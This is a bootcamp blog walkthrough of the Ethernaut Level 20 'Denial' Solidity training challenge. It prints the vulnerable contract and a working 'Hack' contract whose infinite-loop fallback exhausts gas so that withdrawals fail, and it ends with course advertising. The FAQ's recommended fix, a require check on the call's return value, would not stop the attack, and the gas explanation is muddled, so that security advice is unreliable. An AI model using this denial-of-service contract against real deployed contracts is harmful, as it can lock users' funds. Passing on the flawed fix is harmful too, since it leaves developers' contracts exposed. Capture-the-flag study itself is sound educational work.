Skip links

Table of Contents

Ethernaut Level 20 Walkthrough: Denial

Ethernaut Level 20: Denial focuses on a vulnerability related to denial-of-service (DoS) attacks. In this article, we’ll break down the Denial contract, identify its vulnerabilities, and explain how the Hack contract effectively exploits these weaknesses.

Ethernaut Challenge 20: A Case Study

In this challenge, participants are tasked with exploiting a vulnerability that can prevent the Denial contract from functioning correctly. The goal is to understand how a malicious contract can use a fallback function to cause a denial-of-service attack.

The Denial Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Contract Analysis

  1. Withdrawal Mechanism: The Denial contract has a function withdraw that transfers 1% of the contract balance to both the partner and the owner. It uses the call method to send Ether to the partner.
  2. Vulnerability: The withdraw function does not handle the case where the partner‘s address is a contract with a fallback function that consumes all the gas, leading to a denial-of-service attack.
ethernaut level 20 denial walkthroughethernaut challenge

The Attack Contract

To exploit this vulnerability, an attacker can deploy a contract that sets itself as the partner and uses a fallback function that runs indefinitely, consuming all the gas and causing the withdraw function to fail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    Denial target;

    constructor(Denial _target) {
        target = _target;
        target.setWithdrawPartner(address(this));
    }

    fallback() external payable {
        while(true){}     
    }
}

Attack Strategy

  1. Set the Partner: The attacker deploys the Hack contract and sets it as the partner in the Denial contract using the setWithdrawPartner function.
  2. Consume Gas in Fallback: The Hack contract’s fallback function is designed to run an infinite loop, consuming all the gas and preventing the withdraw function in the Denial contract from completing.

Step-by-Step Execution

  1. Deploy the Hack Contract:
    • The attacker deploys the Hack contract with the Denial contract’s address as a parameter.
    • This sets the Hack contract as the partner in the Denial contract.
  2. Infinite Loop in Fallback:
    • When the Denial contract calls partner.call{value: amountToSend}("") in the withdraw function, it triggers the fallback function of the Hack contract.
    • The fallback function runs an infinite loop, consuming all the gas and causing the withdraw function to fail.

Why This Works

  • The call method in Solidity does not propagate errors, so if the partner‘s contract consumes all the gas, the subsequent operations in the withdraw function will not execute.
  • By consuming all the gas, the Hack contract effectively prevents the Denial contract from making any further withdrawals, causing a denial-of-service condition.

Conclusion: Ethernaut Level 20

The Denial challenge walkthrough demonstrates the importance of handling external calls carefully in smart contracts. By exploiting the fallback function to consume all the gas, an attacker can prevent the Denial contract from functioning correctly. This highlights the need for developers to implement proper gas management and error handling in their contracts.

Check out the rest of the Ethernaut Challenges here.

faq

FAQs

What should developers learn from this challenge?

  • Developers should learn the importance of proper gas management and error handling when making external calls in smart contracts. They should also understand the potential risks of denial-of-service attacks and implement safeguards to prevent them.

What is the difference between call, send, and transfer in Solidity?

  • call: Low-level function that forwards all available gas to the recipient. It is very flexible but requires careful handling of return values and gas management. It also allows contract-to-contract communication.
  • send: Forwards a fixed amount of gas (2300 units) to the recipient. It returns a boolean indicating success or failure but does not revert the transaction on failure.
  • transfer: Similar to send, it forwards a fixed amount of gas (2300 units) and reverts the transaction on failure.

How can this vulnerability be prevented?

  • Use the call function with an error check:
    solidity (bool sent, bytes memory data) = partner.call{value: amountToSend}(""); require(sent, "Transaction failed");
    This ensures that if the call fails, the transaction is reverted, preventing the fallback function in a malicious contract from consuming all the gas and causing a DoS condition.

Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy ✨

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet!

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

You may also like

Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Events by Metana

Dive into the exciting world of Web3 with us as we explore cutting-edge technical topics, provide valuable insights into the job market landscape, and offer guidance on securing lucrative positions in Web3.

Start Your Application

Secure your spot now. Spots are limited, and we accept qualified applicants on a first come, first served basis..

Career Track(Required)

The application is free and takes just 3 minutes to complete.

What is included in the course?

Expert-curated curriculum

Weekly 1:1 video calls with your mentor

Weekly group mentoring calls

On-demand mentor support

Portfolio reviews by Design hiring managers

Resume & LinkedIn profile reviews

Active online student community

1:1 and group career coaching calls

Access to our employer network

Job Guarantee